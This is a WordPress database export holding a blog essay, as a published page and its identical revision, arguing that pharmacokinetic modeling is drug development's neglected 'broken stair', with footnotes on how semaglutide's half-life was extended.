(413,1,'2024-06-12 16:04:17','2024-06-12 16:04:17','<!-- wp:paragraph -->\n<p>There’s a blog post that floats around the Internet about the metaphor of the broken stair. In this blog post, the author talks about how certain social groups have a person who before you talk with them, someone will pull you aside and say, “Hey, listen, be careful around John. He can be&nbsp;touchy, so you probably shouldn’t let yourself be alone around him.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The author of the blog post points out that this is a lot like people who pull you aside right before you go down the stairs to the basement and say, “Hey, be careful on the third stair. It’s broken, and if you step on it, you’ll go right through to the concrete floor.” Somehow, these people find it easier and more logical to warn every single person before they go down the stairs than to just fix the broken stair (which, in the case of John, would probably involve just banning him from parties). As the author of the blog post points out, this is pretty illogical. We should just fix the problem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feed06a6e-c236-4f3d-9f2e-845ef9b3e3aa_563x1000.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feed06a6e-c236-4f3d-9f2e-845ef9b3e3aa_563x1000.jpeg\" alt=\"Broken Staircase causes Serious Injuries - Adverse Inference for Failure to  Preserve Evidence Relati\" title=\"Broken Staircase causes Serious Injuries - Adverse Inference for Failure to  Preserve Evidence Relati\"/></a><figcaption class=\"wp-element-caption\">Yeah, you’re just gonna have to jump the last few steps and do an action roll. Don’t worry, you’ll be fine. You’ve seen Jackie Chan movies, right? Just do that.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But, unfortunately, there’s a big gap between “should” and “will”. Fixing a broken stair well enough that people can reliably stand on it takes money, time, and effort. Warning people about it takes only a tiny bit of time and effort. And, to be cynical about it, forgetting to warn someone about the broken stair is going to get people a lot less mad than trying and failing to fix the stairs. It’s easier just to let it lie, but, ultimately, worse for everyone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was thinking about this blog post recently as I once again dug into the mysteries of pharmacokinetics while traveling up my own drug development staircase. The drug development staircase is always rickety and some steps will never be that sturdy, but the pharmacokinetic stair seems particularly broken, and it frustrates me that it is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before I start complaining about it though, I should probably explain what pharmacokinetics is. Pharmacokinetics is the study of everything that happens to a drug when you put it in your body. So, if you’ve ever asked questions like “Why does my Advil take a few hours to work?” or “Why do I have to take a Claritin every 12 hours?” or even “Why does asparagus make my pee smell funny?”, well, those are all pharmacokinetic questions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you look on the Wikipedia page for pharmacokinetics, they make it seem very straightforward. They explain that the traditional acronym for understanding pharmacokinetics is LADME:&nbsp;<strong>l</strong>iberation,&nbsp;<strong>a</strong>bsorption,&nbsp;<strong>d</strong>istribution,&nbsp;<strong>m</strong>etabolism,&nbsp;<strong>e</strong>xcretion&nbsp;<a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-1-137517922\">1</a>. So, you ingest a drug; the active ingredient is “liberated” from the capsule or however it’s been contained; the active ingredient is absorbed into your bloodstream; your bloodstream distributes it around your body until it eventually ends up at your liver/kidneys; your liver metabolizes it; and then you excrete it in either solid or liquid form.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like all good acronyms, LADME transforms the amorphous into the straightforward. You no longer have to ask “how does oral amoxicillin know to go to my infected toenail” or “why does my Claritin wear off after a while”. Amoxicillin is simply distributed around the body by your bloodstream and, at some point, it will reach your toe. Claritin lasts as it does because, at some point, it gets metabolized and then excreted out, at which point it’s no longer effective.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thinking about things in terms of LADME also allows us to start diving deeper into individual topics, and makes them quantifiable. So, distribution and metabolism becomes Cmax, the maximum blood concentration that a drug reaches. Or, metabolism and excretion become t1/2, the amount of time it takes for the concentration of the drug in the bloodstream to reach half its maximum value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;None of this stuff is wrong and all of it is useful. I’ve used it myself in thinking about my company’s lead drug and how often and what level we should dose it. But, as I alluded to before, there are some real issues that pop up if you start digging into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first big problem is that the numbers that we get when we do the math for Cmax, or t1/2, or AUCinf&nbsp;<a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-2-137517922\">2</a>&nbsp;are all descriptive, not predictive. We get these numbers by giving a bunch of people (or, if you’re Highway Pharmaceuticals, cats) some dose of the drug. We try to match these people up and make sure they’re all roughly the same weight, have eaten roughly the same food, aren’t on any drugs, and don’t have any health problems that would impact their organs. Then we measure the concentration of the drug in their bloodstream over a set series of timepoints, and do statistics from there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This definitely provides us with some knowledge. But it’s also a lot like understanding physics by shooting a thousand ping pong balls from a cannon and measuring their height at a bunch of different time points. Yes, that would be somewhat informative. You could say stuff like, “Here’s the maximum height that an average ping pong ball reaches” or “Here’s the average distance that a ping pong ball shot from a cannon travels”. You’d be able to predict pretty well what would happen to the next ping pong ball that was shot from a cannon, and have a rough idea of what would happen to a watermelon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But it’d be a stretch to try to go from there to figure out what would happen to a bullet shot from a pistol, and it’d be impossible to figure out what would happen to an asteroid slingshotted by a planet. These aren’t just simple extrapolations from existing data. In order to make these predictions, we have to understand the underlying processes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To drug developers and pharmacologists, this isn’t surprising. They already know this. This is why they embark on their expensive pharmacokinetic trials in animals and humans when they develop a drug. It costs a lot of money to do these, nobody knows what’s going to happen before they run the trial, and bad results can sink a drug or at least take it back to the design phase&nbsp;<a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-3-137517922\">3</a>&nbsp;<a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-4-137517922\">4</a>. Companies and the FDA try to avoid drugs with bad pharmacokinetics, which are not just drugs with really short half-lives, but often just drugs with unpredictable pharmacokinetics, like a cannon that sometimes shoots ping pong balls 1 foot and other times 100 feet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, for drugs with unavoidably bad/unpredictable pharmacokinetics, like cyclosporine (nb: the bad pharmacokinetics of cyclosporine are exactly what my startup is trying to fix), there’s a whole subfield of medicine called therapeutic dose monitoring, which is devoted to how much different drugs’ pharmacokinetics need to be monitored, how best to do it, and how to use predictive statistics to extrapolate from the fewest number of time points.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this feels less like addressing the problem and more like just avoiding it or working around it. It’s like the classic broken staircase metaphor: if you start drug development, everyone will warn you about pharmacokinetics, and then it’s up to you to figure out your way around it with the right combination of consultants, drug design, etc. to bridge the gap.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It just seems crazy, though, that nobody is putting serious money into actually putting a stair into that gap. I mean yes, there is a small “physiologically based pharmacokinetic modeling” community, which tries to model the whole LADME process as a bunch of differential equations, but they are, to put it politely, struggling. Their differential equations are on shaky ground, especially as they don’t even have human values for a lot of their diffusion constants. They have to rely on rat values from old papers for information on how, say, molecules are transported across liver membranes. This is very far away from being able to capture even the mean human pharmacokinetic experience, nevermind the diversity of actual experiences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We could fix this stair. It would just require the raw data from a variety of pharmacokinetic trials, some in-depth experiments on human liver and gastric membranes, and some simulation of the physics of how different drugs diffuse into the bloodstream and across membranes. This would be difficult, but not impossible, and would not require any huge scientific advances. If it were done, it would likely save hundreds of millions, if not billions of pharma dollars each year, improve or even save the lives of the thousands of people who depend on therapeutic dose monitoring (e.g. every organ transplant recipient), and get us way closer to obviating healthy human trials altogether.<br><br>But, you know, it would require coordination and money. So, for now, we’re just going to keep on watching out for that stair, and woe unto anyone who plunges through. Hope you have health insurance!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-anchor-1-137517922\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes, people put toxicology at the end to make LADMET, but I dislike this. Toxicology is a different discipline and you don’t really test it with pharmacokinetic trials.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, really traditional people don’t include the liberation step, as they consider that to be drug design. I don’t feel strongly about this choice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-anchor-2-137517922\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Area under the curve as it goes to infinity, which is generally understood as the total exposure someone gets from a given dose of drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-anchor-3-137517922\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Take GLP-1 agonists, the miracle weight loss drug class&nbsp;<em>du jour</em>. Semaglutide (a.k.a. Ozempic or Wegovy), which is currently selling so well that it is making Denmark’s Central Bank struggle to rebalance the krona, was not the first GLP-1 agonist. In fact, we’ve known how to literally make GLP-1 for a long time.<br><br>But you can’t just give GLP-1 to people. It has terrible pharmacokinetics. It’s not available orally, and intravenously it has a half-life of 2 minutes. People would have to be injecting themselves non-stop to see any weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Semaglutide is successful because it is a GLP-1 agonist with good pharmacokinetics. Novo Nordisk spent billions making sure this was true, including multiple expensive pharmacokinetic trials. It took about 20 years. It would have been nice if they could have avoided some of those trials!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-anchor-4-137517922\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Assuming you’ve read the previous footnote, you’ll know that the big innovation of semaglutide was improving the pharmacokinetics of GLP-1 agonists. If you’re curious, here’s what they did. I’m basing this account off of my limited understanding of&nbsp;<a href=\"https://www.frontiersin.org/articles/10.3389/fendo.2019.00155/full\">the account of the inventors themselves</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The central problem with using biologic GLP-1 as a therapy, as mentioned, was that it had a short half-life. So all efforts were focused on creating a version of GLP-1 that had a long half-life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The old methods of creating a drug with a long half-life don’t work for a giant peptide like GLP-1. It’s way too big and it’s a fatty acid. So, a new way of creating a drug with a long half-life is to bind it to albumin, which is an all-purpose carrier protein in the body. Albumin is naturally really good at carrying things: it has several binding sites, a long half-life, and the body allows it to exist in high concentrations in plasma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to get albumin to carry a peptide, though, you need a peptide-based ligand, or something to chemically attach the protein to the albumin. Before any of the stuff with semaglutide, a lot of work had been done to try to find these ligands. The original team built off this work to find ligands that could reversibly bind to albumin (i.e. GLP-1 could be attached to albumin for transport, and then unattached for use).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to see what they could attach to GLP-1 without messing up its function, they employed an alanine scan. In an alanine scan, each amino acid in a peptide is subsequently replaced by alanine to see which amino acid actually does. It’s sort of like figuring out how a radio works by taking one piece out at a time then seeing how the radio functions without it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From there, they found the parts of GLP-1 that were necessary for its function and shouldn’t be messed with, and then the parts that weren’t necessary and could have ligands attached to it. Then, they again used the technique of creating a bunch of versions of GLP-1 with ligands attached to it to see which had both a good attachment to albumin and were still functional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From this exploration, they created liraglutide, the first effective GLP-1 agonist, which you might have heard of as Saxenda or Victoza. This drug works as a GLP-1 agonist (which is why it’s approved), but it doesn’t work that well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Novo Nordisk took this work and improved on it by noticing that compounds that bound really well to albumin bound less well to GLP-1 receptors, probably because there was competition between them. So, they wanted to create a sequel to liraglutide that still lasted a long time, but was a better agonist for GLP-1 receptors.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So they modified liraglutide to not only have better affinity for GLP-1, but also to have an additional piece to connect to albumin that would keep the GLP-1 parts of liraglutide away from the albumin parts. A good analogy might be to think of old liraglutide as having a plug for GLP-1 receptors next to a plug for albumin, which made it so it was tricky for liraglutide to simultaneously plug into its carrier, albumin, and its target, GLP-1 receptors.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Semaglutide has two new plugs that are not only better fits for only their intended targets (i.e. the GLP-1 receptor plug fits better into GLP-1 receptors and worse into albumin and vice versa for the albumin plug), but they also are far apart from each other, so they are less likely to physically interfere with each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this stuff is way harder than it sounds, because semaglutide and liraglutide are large fatty acids that can’t be crystallized. I think the best analogy would be designing a magnetic pool toy that’s designed to connect to two other separate, magnetic pool toys simultaneously, but all of the pool toys are transparent and slippery, and the only way you have of connecting them is by stirring a bathtub with a spoon. You can see how questions like, “How do I make these pool toys connect better?” or even “How can I tell if they’re connecting?” get really, really difficult.</p>\n<!-- /wp:paragraph -->','Pharmacokinetics: drug development\'s broken stair','','publish','closed','closed','','pharmacokinetics-drug-developments-broken-stair','','','2024-06-12 16:04:17','2024-06-12 16:04:17','',0,'https://trevorklee.com/?page_id=413',0,'page','',0),
(414,1,'2024-06-12 16:04:17','2024-06-12 16:04:17','<!-- wp:paragraph -->\n<p>There’s a blog post that floats around the Internet about the metaphor of the broken stair. In this blog post, the author talks about how certain social groups have a person who before you talk with them, someone will pull you aside and say, “Hey, listen, be careful around John. He can be&nbsp;touchy, so you probably shouldn’t let yourself be alone around him.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The author of the blog post points out that this is a lot like people who pull you aside right before you go down the stairs to the basement and say, “Hey, be careful on the third stair. It’s broken, and if you step on it, you’ll go right through to the concrete floor.” Somehow, these people find it easier and more logical to warn every single person before they go down the stairs than to just fix the broken stair (which, in the case of John, would probably involve just banning him from parties). As the author of the blog post points out, this is pretty illogical. We should just fix the problem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feed06a6e-c236-4f3d-9f2e-845ef9b3e3aa_563x1000.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feed06a6e-c236-4f3d-9f2e-845ef9b3e3aa_563x1000.jpeg\" alt=\"Broken Staircase causes Serious Injuries - Adverse Inference for Failure to  Preserve Evidence Relati\" title=\"Broken Staircase causes Serious Injuries - Adverse Inference for Failure to  Preserve Evidence Relati\"/></a><figcaption class=\"wp-element-caption\">Yeah, you’re just gonna have to jump the last few steps and do an action roll. Don’t worry, you’ll be fine. You’ve seen Jackie Chan movies, right? Just do that.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But, unfortunately, there’s a big gap between “should” and “will”. Fixing a broken stair well enough that people can reliably stand on it takes money, time, and effort. Warning people about it takes only a tiny bit of time and effort. And, to be cynical about it, forgetting to warn someone about the broken stair is going to get people a lot less mad than trying and failing to fix the stairs. It’s easier just to let it lie, but, ultimately, worse for everyone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was thinking about this blog post recently as I once again dug into the mysteries of pharmacokinetics while traveling up my own drug development staircase. The drug development staircase is always rickety and some steps will never be that sturdy, but the pharmacokinetic stair seems particularly broken, and it frustrates me that it is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before I start complaining about it though, I should probably explain what pharmacokinetics is. Pharmacokinetics is the study of everything that happens to a drug when you put it in your body. So, if you’ve ever asked questions like “Why does my Advil take a few hours to work?” or “Why do I have to take a Claritin every 12 hours?” or even “Why does asparagus make my pee smell funny?”, well, those are all pharmacokinetic questions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you look on the Wikipedia page for pharmacokinetics, they make it seem very straightforward. They explain that the traditional acronym for understanding pharmacokinetics is LADME:&nbsp;<strong>l</strong>iberation,&nbsp;<strong>a</strong>bsorption,&nbsp;<strong>d</strong>istribution,&nbsp;<strong>m</strong>etabolism,&nbsp;<strong>e</strong>xcretion&nbsp;<a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-1-137517922\">1</a>. So, you ingest a drug; the active ingredient is “liberated” from the capsule or however it’s been contained; the active ingredient is absorbed into your bloodstream; your bloodstream distributes it around your body until it eventually ends up at your liver/kidneys; your liver metabolizes it; and then you excrete it in either solid or liquid form.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like all good acronyms, LADME transforms the amorphous into the straightforward. You no longer have to ask “how does oral amoxicillin know to go to my infected toenail” or “why does my Claritin wear off after a while”. Amoxicillin is simply distributed around the body by your bloodstream and, at some point, it will reach your toe. Claritin lasts as it does because, at some point, it gets metabolized and then excreted out, at which point it’s no longer effective.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thinking about things in terms of LADME also allows us to start diving deeper into individual topics, and makes them quantifiable. So, distribution and metabolism becomes Cmax, the maximum blood concentration that a drug reaches. Or, metabolism and excretion become t1/2, the amount of time it takes for the concentration of the drug in the bloodstream to reach half its maximum value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;None of this stuff is wrong and all of it is useful. I’ve used it myself in thinking about my company’s lead drug and how often and what level we should dose it. But, as I alluded to before, there are some real issues that pop up if you start digging into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first big problem is that the numbers that we get when we do the math for Cmax, or t1/2, or AUCinf&nbsp;<a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-2-137517922\">2</a>&nbsp;are all descriptive, not predictive. We get these numbers by giving a bunch of people (or, if you’re Highway Pharmaceuticals, cats) some dose of the drug. We try to match these people up and make sure they’re all roughly the same weight, have eaten roughly the same food, aren’t on any drugs, and don’t have any health problems that would impact their organs. Then we measure the concentration of the drug in their bloodstream over a set series of timepoints, and do statistics from there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This definitely provides us with some knowledge. But it’s also a lot like understanding physics by shooting a thousand ping pong balls from a cannon and measuring their height at a bunch of different time points. Yes, that would be somewhat informative. You could say stuff like, “Here’s the maximum height that an average ping pong ball reaches” or “Here’s the average distance that a ping pong ball shot from a cannon travels”. You’d be able to predict pretty well what would happen to the next ping pong ball that was shot from a cannon, and have a rough idea of what would happen to a watermelon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But it’d be a stretch to try to go from there to figure out what would happen to a bullet shot from a pistol, and it’d be impossible to figure out what would happen to an asteroid slingshotted by a planet. These aren’t just simple extrapolations from existing data. In order to make these predictions, we have to understand the underlying processes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To drug developers and pharmacologists, this isn’t surprising. They already know this. This is why they embark on their expensive pharmacokinetic trials in animals and humans when they develop a drug. It costs a lot of money to do these, nobody knows what’s going to happen before they run the trial, and bad results can sink a drug or at least take it back to the design phase&nbsp;<a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-3-137517922\">3</a>&nbsp;<a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-4-137517922\">4</a>. Companies and the FDA try to avoid drugs with bad pharmacokinetics, which are not just drugs with really short half-lives, but often just drugs with unpredictable pharmacokinetics, like a cannon that sometimes shoots ping pong balls 1 foot and other times 100 feet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, for drugs with unavoidably bad/unpredictable pharmacokinetics, like cyclosporine (nb: the bad pharmacokinetics of cyclosporine are exactly what my startup is trying to fix), there’s a whole subfield of medicine called therapeutic dose monitoring, which is devoted to how much different drugs’ pharmacokinetics need to be monitored, how best to do it, and how to use predictive statistics to extrapolate from the fewest number of time points.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this feels less like addressing the problem and more like just avoiding it or working around it. It’s like the classic broken staircase metaphor: if you start drug development, everyone will warn you about pharmacokinetics, and then it’s up to you to figure out your way around it with the right combination of consultants, drug design, etc. to bridge the gap.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It just seems crazy, though, that nobody is putting serious money into actually putting a stair into that gap. I mean yes, there is a small “physiologically based pharmacokinetic modeling” community, which tries to model the whole LADME process as a bunch of differential equations, but they are, to put it politely, struggling. Their differential equations are on shaky ground, especially as they don’t even have human values for a lot of their diffusion constants. They have to rely on rat values from old papers for information on how, say, molecules are transported across liver membranes. This is very far away from being able to capture even the mean human pharmacokinetic experience, nevermind the diversity of actual experiences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We could fix this stair. It would just require the raw data from a variety of pharmacokinetic trials, some in-depth experiments on human liver and gastric membranes, and some simulation of the physics of how different drugs diffuse into the bloodstream and across membranes. This would be difficult, but not impossible, and would not require any huge scientific advances. If it were done, it would likely save hundreds of millions, if not billions of pharma dollars each year, improve or even save the lives of the thousands of people who depend on therapeutic dose monitoring (e.g. every organ transplant recipient), and get us way closer to obviating healthy human trials altogether.<br><br>But, you know, it would require coordination and money. So, for now, we’re just going to keep on watching out for that stair, and woe unto anyone who plunges through. Hope you have health insurance!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-anchor-1-137517922\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes, people put toxicology at the end to make LADMET, but I dislike this. Toxicology is a different discipline and you don’t really test it with pharmacokinetic trials.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, really traditional people don’t include the liberation step, as they consider that to be drug design. I don’t feel strongly about this choice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-anchor-2-137517922\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Area under the curve as it goes to infinity, which is generally understood as the total exposure someone gets from a given dose of drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-anchor-3-137517922\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Take GLP-1 agonists, the miracle weight loss drug class&nbsp;<em>du jour</em>. Semaglutide (a.k.a. Ozempic or Wegovy), which is currently selling so well that it is making Denmark’s Central Bank struggle to rebalance the krona, was not the first GLP-1 agonist. In fact, we’ve known how to literally make GLP-1 for a long time.<br><br>But you can’t just give GLP-1 to people. It has terrible pharmacokinetics. It’s not available orally, and intravenously it has a half-life of 2 minutes. People would have to be injecting themselves non-stop to see any weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Semaglutide is successful because it is a GLP-1 agonist with good pharmacokinetics. Novo Nordisk spent billions making sure this was true, including multiple expensive pharmacokinetic trials. It took about 20 years. It would have been nice if they could have avoided some of those trials!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/pharmacokinetics-drug-developments#footnote-anchor-4-137517922\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Assuming you’ve read the previous footnote, you’ll know that the big innovation of semaglutide was improving the pharmacokinetics of GLP-1 agonists. If you’re curious, here’s what they did. I’m basing this account off of my limited understanding of&nbsp;<a href=\"https://www.frontiersin.org/articles/10.3389/fendo.2019.00155/full\">the account of the inventors themselves</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The central problem with using biologic GLP-1 as a therapy, as mentioned, was that it had a short half-life. So all efforts were focused on creating a version of GLP-1 that had a long half-life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The old methods of creating a drug with a long half-life don’t work for a giant peptide like GLP-1. It’s way too big and it’s a fatty acid. So, a new way of creating a drug with a long half-life is to bind it to albumin, which is an all-purpose carrier protein in the body. Albumin is naturally really good at carrying things: it has several binding sites, a long half-life, and the body allows it to exist in high concentrations in plasma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to get albumin to carry a peptide, though, you need a peptide-based ligand, or something to chemically attach the protein to the albumin. Before any of the stuff with semaglutide, a lot of work had been done to try to find these ligands. The original team built off this work to find ligands that could reversibly bind to albumin (i.e. GLP-1 could be attached to albumin for transport, and then unattached for use).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to see what they could attach to GLP-1 without messing up its function, they employed an alanine scan. In an alanine scan, each amino acid in a peptide is subsequently replaced by alanine to see which amino acid actually does. It’s sort of like figuring out how a radio works by taking one piece out at a time then seeing how the radio functions without it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From there, they found the parts of GLP-1 that were necessary for its function and shouldn’t be messed with, and then the parts that weren’t necessary and could have ligands attached to it. Then, they again used the technique of creating a bunch of versions of GLP-1 with ligands attached to it to see which had both a good attachment to albumin and were still functional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From this exploration, they created liraglutide, the first effective GLP-1 agonist, which you might have heard of as Saxenda or Victoza. This drug works as a GLP-1 agonist (which is why it’s approved), but it doesn’t work that well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Novo Nordisk took this work and improved on it by noticing that compounds that bound really well to albumin bound less well to GLP-1 receptors, probably because there was competition between them. So, they wanted to create a sequel to liraglutide that still lasted a long time, but was a better agonist for GLP-1 receptors.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So they modified liraglutide to not only have better affinity for GLP-1, but also to have an additional piece to connect to albumin that would keep the GLP-1 parts of liraglutide away from the albumin parts. A good analogy might be to think of old liraglutide as having a plug for GLP-1 receptors next to a plug for albumin, which made it so it was tricky for liraglutide to simultaneously plug into its carrier, albumin, and its target, GLP-1 receptors.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Semaglutide has two new plugs that are not only better fits for only their intended targets (i.e. the GLP-1 receptor plug fits better into GLP-1 receptors and worse into albumin and vice versa for the albumin plug), but they also are far apart from each other, so they are less likely to physically interfere with each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this stuff is way harder than it sounds, because semaglutide and liraglutide are large fatty acids that can’t be crystallized. I think the best analogy would be designing a magnetic pool toy that’s designed to connect to two other separate, magnetic pool toys simultaneously, but all of the pool toys are transparent and slippery, and the only way you have of connecting them is by stirring a bathtub with a spoon. You can see how questions like, “How do I make these pool toys connect better?” or even “How can I tell if they’re connecting?” get really, really difficult.</p>\n<!-- /wp:paragraph -->','Pharmacokinetics: drug development\'s broken stair','','inherit','closed','closed','','413-revision-v1','','','2024-06-12 16:04:17','2024-06-12 16:04:17','',413,'https://trevorklee.com/?p=414',0,'revision','',0),
